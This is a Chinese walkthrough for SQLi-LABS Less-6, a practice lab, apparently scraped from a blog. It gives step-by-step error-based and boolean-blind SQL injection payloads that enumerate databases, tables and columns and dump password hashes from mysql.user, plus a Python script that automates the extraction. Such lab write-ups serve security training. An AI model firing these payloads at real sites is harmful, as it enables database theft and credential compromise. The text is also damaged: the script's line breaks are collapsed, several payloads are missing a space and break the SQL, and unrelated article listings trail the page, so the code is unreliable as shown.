第六关是双引号字符型注入,推荐使用报错注入、布尔盲注

方式一:报错注入

推荐文章:报错注入使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1"

页面显示数据库的报错信息,确定注入点为双引号字符型注入。

第二步、判断报错函数是否可用

地址栏输入:?id=1" and updatexml(1,0x7e,3) -- a

页面显示报错函数的信息,确定报错函数可用。

第三步、脱库

获取所有数据库,地址栏输入:

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),34,32))
,3) -- a

获取 security 库的所有表,地址栏输入:

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tableswhere table_schema='security'),1,32))
,3) -- a

获取 users 表的所有字段,地址栏输入:

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columnswhere table_schema='security' and table_name='users'),1,32))
,3) -- a

获取数据库用户的密码,地址栏输入:

?id=1" and updatexml(1,concat(0x7e,(select group_concat(user,password) from mysql.user where user = 'mituan')),
3) -- a

方式二:布尔盲注

推荐文章:布尔盲注使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1" and 1 -- a,页面正常显示

地址栏输入:?id=1" and 0 -- a,页面异常(空)显示

第二步、判断字符长度

判断当前使用的数据库的长度是否大于1(肯定大于),地址栏输入:

?id=1" and length(database()) > 1 -- a

判断成立,页面正常显示,文末使用脚本自动化判断长度

第三步、枚举字符

判断当前使用的数据库第一个字符的ascll码是否大于1(肯定大于),地址栏输入:

?id=1" and ascii(substr(database(),1,1)) > 1 -- a

判断成立,页面正常显示,文末使用脚本自动化枚举字符

第四步、脱库

Python自动化脚本如下,按需求修改:

import requests# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload# 目标网址(不带参数)
url = "http://78898329a5484d5f80b56c7b1f3d3710.app.mituan.zone/Less-6/"
# 猜解长度使用的payload
payload_len = """?id=1" and length((select group_concat(schema_name) from information_schema.schemata)
) ={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1" and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{n},1)
) ={r} -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# print('我正在猜解', n)# 页面中出现此内容则表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

获取所有数据库

判断字符长度 payload:

?id=1" and length((select group_concat(schema_name) from information_schema.schemata)
) ={n} -- a

枚举字符内容 payload:

?id=1" and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{n},1)
) ={r} -- a

执行结果:

获取 security 库中的所有表

判断字符长度 payload:

?id=1" and length((select group_concat(table_name) from information_schema.tableswhere table_schema='security')
) ={n} -- a

枚举字符内容 payload:

?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tableswhere table_schema='security'),{n},1)
) ={r} -- a

执行结果:

获取 users 表的所有字段

判断字符长度 payload:

?id=1" and length((select group_concat(column_name) from information_schema.columnswhere table_schema='security' and table_name='users')
) ={n} -- a

枚举字符内容 payload:

?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columnswhere table_schema='security' and table_name='users'),{n},1)
) ={r} -- a

执行结果:

推荐专栏

《网络安全快速入门》 用最短的时间,掌握最核心的网络安全技术。

《靶场通关教程》 各种靶场的通关教程,持续更新……

SQLi LABS Less-6 报错注入+布尔盲注相关推荐

  1. SQLi LABS Less 14 报错注入+布尔盲注

    第十四关双引号字符串型注入 , 推荐使用报错注入.布尔盲注. 目录 一.功能分析 二.思路分析 三.解题步骤 方式一:报错注入 第一步.判断注入点 第二步.判断报错条件 第三步.脱库 方式二:布尔盲注 ...

  2. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  3. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  4. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  5. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  6. SQLi LABS Less 23 联合注入+报错注入+布尔盲注

    第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...

  7. SQLi LABS Less-5 报错注入+布尔盲注

    第五关是单引号字符型注入,推荐使用报错注入.布尔盲注 方式一:报错注入 推荐文章:报错注入使用详解,原理+步骤+实战教程 第一步.判断注入点 地址栏输入:?id=1' 单引号导致,页面显示数据库的报错 ...

  8. SQLi LABS Less-13 报错注入+布尔盲注

    第十三关是单引号+括号的字符型注入,推荐使用报错注入.布尔盲注. 目录 一.功能分析 二.思路分析 三.解题步骤 方式一:报错注入 第一步.判断注入点 第二步.判断报错条件 第三步.脱库 方式二.布尔 ...

  9. SQLi LABS Less 17 报错注入

    第十七关单引号字符型注入 ,推荐使用报错注入. 一.功能分析 这关是一个修改密码的功能,先查询用户名是否正确. 如果用户名正确,后台就修改密码,并提示修改成功: 如果用户名错误,页面就直接返回修改失败 ...

最新文章

  1. KMP 中next 数组的性质
  2. 聊聊高并发(二十八)解析java.util.concurrent各个组件(十) 理解ReentrantReadWriteLock可重入读-写锁
  3. python search函数 中文_python使用正则表达式的search()函数实现指定位置搜索功能...
  4. api报错 javaee maven_maven test 换javaee6 无法加载spring的配置文件 ?报错-问答-阿里云开发者社区-阿里云...
  5. VirtualBox全屏切换
  6. 大厂后端必备分布式,一定要好好学|文末有1元福利
  7. 轻松学SQL Server数据库pdf
  8. 坚守本心,你公司的OA解决了以下问题吗?
  9. ubuntu20.04系统 ros noetic下安裝orbslam2
  10. 物联网毕业设计 - 基于单片机的高精度北斗定位控制终端
  11. 微波雷达感应模块,智能马桶传感方案,智能化生活
  12. JavaScript 编程精解 中文第三版 五、高阶函数
  13. 基于STM32的MLX90614(GY-906)人体红外测温
  14. AR红包大战,抢的不是钱而是发展机会
  15. 仿xp画板、画图重绘、五子棋总结
  16. HTTP Host Header Attack:Basic password reset poisoning
  17. Doxygen简介及使用说明
  18. 高斯判别分析(GDA)Python代码
  19. WPF作图神器Interactive DataDisplay的初步使用
  20. 鸿蒙宴中的人物故事,鸿门宴的主要人物有哪些

热门文章

  1. PHP 五大运行模式
  2. 简单的图论问题【湖南省赛】
  3. [POJ 2503] Babelfish【二分查找】
  4. 机器学习:监督学习和无监督学习
  5. [前端]npm安装慢,换用淘宝的镜像
  6. windows linux—unix 跨平台通信集成控制系统
  7. 灌水导论——灌水法初步
  8. golang windows环境下的配置安装
  9. Vue过滤器_使用过滤器进行数据格式化操作---vue工作笔记0015
  10. k8s集群部署项目_JAVA项目(制作镜像)---K8S_Google工作笔记0060